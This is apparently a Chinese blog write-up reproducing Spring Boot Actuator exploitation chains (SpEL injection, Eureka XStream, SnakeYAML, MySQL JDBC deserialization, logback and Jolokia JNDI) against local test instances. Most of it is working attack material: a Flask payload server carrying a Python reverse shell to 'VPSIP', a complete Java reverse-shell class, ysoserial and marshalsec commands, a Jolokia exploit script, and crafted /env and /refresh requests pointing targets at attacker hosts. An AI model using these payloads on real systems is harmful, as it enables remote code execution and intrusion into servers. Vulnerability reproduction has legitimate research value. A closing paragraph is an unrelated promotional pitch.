Spring Boot Actuator 未授权访问漏洞在日常的测试中还是能碰到一些的,这种未授权在某些情况下是可以达到RCE的效果的,所以还有有一定价值的,下面就是对这一系列漏洞复现。
基本上就是参考这篇文章的做的复现:
LandGrey/SpringBootVulExploit: SpringBoot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全评估 check list (github.com)
Spring Boot Actuator端点通过 JMX 和HTTP 公开暴露给外界访问,大多数时候我们使用基于HTTP的Actuator端点,因为它们很容易通过浏览器、CURL命令、shell脚本等方式访问。
一些有用的执行器端点是:
Spring Boot Actuator未授权访问
/dump - 显示线程转储(包括堆栈跟踪)
/autoconfig - 显示自动配置报告
/configprops - 显示配置属性
/trace - 显示最后几条HTTP消息(可能包含会话标识符)
/logfile - 输出日志文件的内容
/shutdown - 关闭应用程序
/info - 显示应用信息
/metrics - 显示当前应用的’指标’信息
/health - 显示应用程序的健康指标
/beans - 显示Spring Beans的完整列表
/mappings - 显示所有MVC控制器映射
/env - 提供对配置环境的访问
/restart - 重新启动应用程序
/ ,2.x 版本则统一以 /actuator 为起始路径/env 有时候也会被程序员修改,比如修改成 /appenvspring boot 处理参数值出错,流程进入 org.springframework.util.PropertyPlaceholderHelper 类中
此时 URL 中的参数值会用 parseStringValue 方法进行递归解析
其中 ${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞
比如发现访问 /article ,页面会报状态码为 500 的错误: Whitelabel Error Page

输入 /article?id=${7*7} ,如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞。

由字符串格式转换成 0x** java 字节形式,方便执行任意代码:
# author: Zeo
# python: 3.7
# software: PyCharm
"""
文件说明:转换字节码
"""
# coding: utf-8
result = ""
target = 'open -a Calculator'
for x in target:
result += hex(ord(x)) + ","
print(result.rstrip(','))
正常访问:
http://127.0.0.1:9091/article?id=66
执行 open -a Calculator 命令:
http://127.0.0.1:8080/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}

https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce
/env 接口设置属性/refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)eureka-client < 1.8.7(通常包含在 spring-cloud-starter-netflix-eureka-client 依赖中)repository/springboot-eureka-xstream-rce
http://127.0.0.1:9093/env



运行恶意脚本,并根据实际情况修改脚本中反弹 shell 的 ip 地址和 端口号
#!/usr/bin/env python
# coding: utf-8
# -**- Author: LandGrey -**-
from flask import Flask, Response
app = Flask(__name__)
@app.route('/', defaults={'path': ''})
@app.route('/', methods=['GET', 'POST'])
def catch_all(path):
xml = """
/bin/bash
-c
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("VPSIP",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
false
java.lang.ProcessBuilder
start
foo
foo
"""
return Response(xml, mimetype='application/xml')
if __name__ == "__main__":
app.run(host='0.0.0.0', port=777)

POST /env HTTP/1.1
Host: 127.0.0.1:9093
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://VPSIP:777/example
POST /refresh HTTP/1.1
Host: 127.0.0.1:9093
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

成功反弹shell

提供一个依赖 Flask 并符合要求的 python 脚本示例,作用是利用目标 Linux 机器上自带的 python 来反弹shell。
使用 python 在自己控制的服务器上运行以上的脚本,并根据实际情况修改脚本中反弹 shell 的 ip 地址和 端口号。
一般使用 nc 监听端口,等待反弹 shell
nc -lvp 443
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}
spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/refresh
Content-Type: application/json
/env 接口设置属性/refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)spring-cloud-starter 版本 < 1.3.0.RELEASE在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80

在网站根目录下放置后缀为 yml 的文件 example.yml,内容如下:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://your-vps-ip/example.jar"]
]]
]

在网站根目录下放置后缀为 jar 的文件 example.jar,内容是要执行的代码,
代码编写及编译方式参考 (https://github.com/artsploit/yaml-payload)。
AwesomeScriptEngineFactory.java
package artsploit;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("dig quonwz.dnslog.cn");
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public String getEngineName() {
return null;
}
@Override
public String getEngineVersion() {
return null;
}
@Override
public List getExtensions() {
return null;
}
@Override
public List getMimeTypes() {
return null;
}
@Override
public List getNames() {
return null;
}
@Override
public String getLanguageName() {
return null;
}
@Override
public String getLanguageVersion() {
return null;
}
@Override
public Object getParameter(String key) {
return null;
}
@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}
@Override
public String getOutputStatement(String toDisplay) {
return null;
}
@Override
public String getProgram(String... statements) {
return null;
}
@Override
public ScriptEngine getScriptEngine() {
return null;
}
}
打包命令
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
打包完成

spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://your-vps-ip/example.yml![]()

spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}
spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded


spring 2.x
POST /actuator/refresh
Content-Type: application/json
首先简单总结一下利用过程
/env endpoint 修改 spring.cloud.bootstrap.location 属性值为一个外部 yml 配置文件 url 地址,如 http://127.0.0.1:63712/yaml-payload.yml/refresh endpoint,触发程序下载外部 yml 文件,并由 SnakeYAML 库进行解析,因 SnakeYAML 在反序列化时支持指定 class 类型和构造方法的参数,结合 JDK 自带的 javax.script.ScriptEngineManager 类,可实现加载远程 jar 包,完成任意代码执行从过程中我们知道,命令执行是由于 SnakeYAML 在解析 YAML 文件时,存在反序列化漏洞导致的,来看一个使用 SnakeYAML 库反序列化的例子
@Test
public void testYaml() {
Yaml yaml = new Yaml();
Object url = yaml.load("!!java.net.URL ["http://127.0.0.1:63712/yaml-payload.jar"]");
// class java.net.URL
System.out.println(url.getClass());
// http://127.0.0.1:63712/yaml-payload.jar
System.out.println(url);
}
SnakeYAML 支持 !! + 完整类名的方式来指定要反序列化的类,然后以 [arg1, arg2, ...] 的方式来传递构造方法参数,例子中的代码执行完后会出反序列化一个 java.net.URL 类的实例
再来看一下文章给出的外部 yml 文件 yaml-payload.yml 的内容
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:61234/yaml-payload.jar"]
]]
]
SnakeYAML 处理上述内容的过程可以等价于以下 java 代码
URL url = new URL("http://127.0.0.1:63712/yaml-payload.jar");
new ScriptEngineManager(new URLClassLoader(new URL[]{url}));
代码执行后,会从 http://127.0.0.1:63712/yaml-payload.jar 地址下载 jar 包,并在包中寻找一个 javax.script.ScriptEngineFactory 接口的实现类,然后实例化,因为这个 jar 包代码是可控的,因此可执行任意代码
repository/springcloud-snakeyaml-rce
正常访问:
http://127.0.0.1:9092/env
/env 接口设置属性/refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)mysql-connector-java 依赖GET 请求 /env 或 /actuator/env,搜索环境变量(classpath)中是否有 mysql-connector-java 关键词,并记录下其版本号(5.x 或 8.x);

搜索并观察环境变量中是否存在常见的反序列化 gadget 依赖,比如 commons-collections、Jdk7u21、Jdk8u20 等;

搜索 spring.datasource.url 关键词,记录下其 value 值,方便后续恢复其正常 jdbc url 值。

在自己控制的服务器上运行 springboot-jdbc-deserialization-rce.py 脚本,并使用 ysoserial 自定义要执行的命令:
java -jar ysoserial.jar CommonsCollections3 calc > payload.ser
在脚本同目录下生成 payload.ser 反序列化 payload 文件,供脚本使用。
修改此属性会暂时导致网站所有的正常数据库服务不可用,会对业务造成影响,请谨慎操作!
mysql-connector-java 5.x 版本设置属性值为:
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
mysql-connector-java 8.x 版本设置属性值为:
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
spring.datasource.url=对应属性值
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.url","value":"对应属性值"}

spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/refresh
Content-Type: application/json

尝试访问网站已知的数据库查询的接口,例如: /product/list ,或者寻找其他方式,主动触发源网站进行数据库查询,然后漏洞会被触发
访问http://127.0.0.1:9097//product/list

反序列化漏洞利用完成后,使用 步骤三 的方法恢复 步骤一 中记录的 spring.datasource.url 的原始 value 值
/env 接口设置属性/restart 接口重启应用javax.naming.spi.ObjectFactory 接口,否则会导致程序异常退出步骤零:找到目标网站
发现spring actuator 目前主要有两个差别比较大的版本,1.x 和 2.x 版本。从路由角度看,2.x 版本的路由名一般比 1.x 版本路由名字前多了个 /actuator 前缀。本文涉及到的相关漏洞原理经过测试与 spring actuator 大版本的相关度差别不大,下文统一用 2.x

在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)
# 使用 python 快速开启 http server
python3 -m http.server 80
在根目录放置以 xml 结尾的 example.xml 文件,实际内容要根据步骤二中使用的 JNDI 服务来确定:
修改 JNDIExploit 并启动(也可以使用其他工具):
https://github.com/feihong-cs/JNDIExploit
java -jar JNDIExploit-1.0-SNAPSHOT.jar -i 110.xx.xx.110
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
logging.config=http://your-vps-ip/example.xml
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"logging.config","value":"http://your-vps-ip/example.xml"}


spring 1.x
POST /restart
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/restart
Content-Type: application/json




logback 依赖的 insertFormJNDI 标签,设置了外部 JNDI 服务器地址http://127.0.0.1:9094/env

/jolokia 或 /actuator/jolokia 接口jolokia-core 依赖(版本要求暂未知)并且环境中存在相关 MBean
访问 /jolokia/list 接口,查看是否存在 type=MBeanFactory 和 createJNDIRealm 关键词。

编写优化过后的用来反弹 shell 的Java 示例代码 JNDIObject.java。
把 JNDIObject.java 编译成 class文件
javac -source 1.5 -target 1.5 /Users/zy/Desktop/JNDIObject.java
修改反弹shell的字段
String ip = "110.110.110.110";
String port = "4443";
代码:
/**
* javac -source 1.5 -target 1.5 JNDIObject.java
*
* Build By LandGrey
* */
import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class JNDIObject {
static {
try{
String ip = "your-vps-ip";
String port = "443";
String py_path = null;
String[] cmd;
if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};
for(int i = 0; i < py_envs.length; ++i) {
String py = py_envs[i];
if ((new File(py)).exists()) {
py_path = py;
break;
}
}
if (py_path != null) {
if ((new File("/bin/bash")).exists()) {
cmd = new String[]{py_path, "-c", "import pty;pty.spawn("/bin/bash")"};
} else {
cmd = new String[]{py_path, "-c", "import pty;pty.spawn("/bin/sh")"};
}
} else {
if ((new File("/bin/bash")).exists()) {
cmd = new String[]{"/bin/bash"};
} else {
cmd = new String[]{"/bin/sh"};
}
}
} else {
cmd = new String[]{"cmd.exe"};
}
Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();
Socket s = new Socket(ip, Integer.parseInt(port));
InputStream pi = p.getInputStream();
InputStream pe = p.getErrorStream();
InputStream si = s.getInputStream();
OutputStream po = p.getOutputStream();
OutputStream so = s.getOutputStream();
while(!s.isClosed()) {
while(pi.available() > 0) {
so.write(pi.read());
}
while(pe.available() > 0) {
so.write(pe.read());
}
while(si.available() > 0) {
po.write(si.read());
}
so.flush();
po.flush();
Thread.sleep(50L);
try {
p.exitValue();
break;
} catch (Exception e) {
}
}
p.destroy();
s.close();
}catch (Throwable e){
e.printStackTrace();
}
}
}
在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
将步骤二中编译好的 class 文件拷贝到 HTTP 服务器根目录。
下载 marshalsechttps://github.com/mbechler/marshalsec,使用下面命令架设对应的 rmi 服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://110.110.110.110:88/#JNDIObject 1389
一般使用 nc 监听端口,等待反弹 shell
nc -lvp 4443
根据实际情况修改脚本中的目标地址,RMI 地址、端口等信息,然后在自己控制的服务器上运行。
需要修改的地方
url = 'http://127.0.0.1:9094/jolokia/'
"value": "rmi://110.110.110.110:1389/JNDIObject"
代码:springboot-realm-jndi-rce.py
import requests
url = 'http://127.0.0.1:9094/jolokia/'
create_realm = {
"mbean": "Tomcat:type=MBeanFactory",
"type": "EXEC",
"operation": "createJNDIRealm",
"arguments": ["Tomcat:type=Engine"]
}
wirte_factory = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "contextFactory",
"value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}
write_url = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "connectionURL",
"value": "rmi://110.110.110.110:1389/JNDIObject"
}
stop = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "stop",
"arguments": []
}
start = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "start",
"arguments": []
}
flow = [create_realm, wirte_factory, write_url, stop, start]
for i in flow:
print('%s MBean %s: %s ...' % (i['type'].title(), i['mbean'], i.get('operation', i.get('attribute'))))
r = requests.post(url, json=i)
r.json()
print(r.status_code)
运行python文件

RMI服务收到请求

VPS接收到反弹的shell

http://127.0.0.1:9094/env

目标网站存在 /jolokia 或 /actuator/jolokia 接口
目标使用了 jolokia-core 依赖(版本要求暂未知)并且环境中存在相关 MBean
目标可以请求攻击者的 HTTP 服务器(请求可出外网)
普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP),但相关环境可绕过
http://127.0.0.1:9094/jolokia

访问 /jolokia/list 接口,查看是否存在 ch.qos.logback.classic.jmx.JMXConfigurator 和 reloadByURL 关键词。

在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
在根目录放置以 xml 结尾的 example.xml 文件,内容如下:
下载 JNDIExploit,使用下面命令架设对应的 ldap 服务:
java -jar JNDIExploit-1.3-SNAPSHOT.jar
替换实际的 your-vps-ip 地址访问 URL 触发漏洞:
注意payload种URL
http:!/!/your-vps-ip!/example.xml
其中 / 都是 !/ 替代的
PAYLOAD
/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml
HTTP请求收到请求

JNDI收到请求

成功命令执行

如果目标成功请求了example.xml 并且 marshalsec 也接收到了目标请求,但是目标没有请求 JNDIObject.class,大概率是因为目标环境的 jdk 版本太高,导致 JNDI 利用失败。
ch.qos.logback.classic.jmx.JMXConfigurator 类的 reloadByURL 方法logback 依赖的 insertFormJNDI 标签,设置了外部 JNDI 服务器地址Spring Boot Actuator 漏洞复现合集.md
先自我介绍一下,小编13年上师交大毕业,曾经在小公司待过,去过华为OPPO等大厂,18年进入阿里,直到现在。深知大多数初中级java工程师,想要升技能,往往是需要自己摸索成长或是报班学习,但对于培训机构动则近万元的学费,着实压力不小。自己不成体系的自学效率很低又漫长,而且容易碰到天花板技术停止不前。因此我收集了一份《java开发全套学习资料》送给大家,初衷也很简单,就是希望帮助到想自学又不知道该从何学起的朋友,同时减轻大家的负担。添加下方名片,即可获取全套学习资料哦